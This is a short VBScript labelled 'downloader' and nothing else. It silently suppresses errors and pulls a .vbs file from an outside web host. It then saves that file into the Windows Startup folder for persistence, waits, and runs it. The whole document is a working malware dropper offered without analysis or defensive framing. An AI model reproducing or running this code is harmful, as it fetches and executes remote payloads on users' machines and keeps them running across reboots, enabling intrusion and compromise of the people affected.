downloader

on error resume next

Set fso = CreateObject("Scripting.FileSystemObject")
Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
set shellobj = wscript.createobject("wscript.shell")
startup = shellobj.specialfolders ("startup") & "\startup.vbs"
URL = "http://4.program-iq.com/uploads/file_2018-04-12_161951.vbs"
objWinHttp.open "GET", URL, False
objWinHttp.send ""
SaveBinaryData objWinHttp.responseBody
Function SaveBinaryData( Data)
Const adTypeText = 1
Const adSaveCreateOverWrite = 2
Dim BinaryStream
Set BinaryStream = CreateObject("ADODB.Stream")
BinaryStream.Type = adTypeText
BinaryStream.Open
BinaryStream.Write Data
 If not (fso.FileExists(startup)) Then
BinaryStream.SaveToFile startup , adSaveCreateOverWrite
Wscript.sleep(20000)
shellobj.run  chr(34) & startup & chr(34)
end if
End Function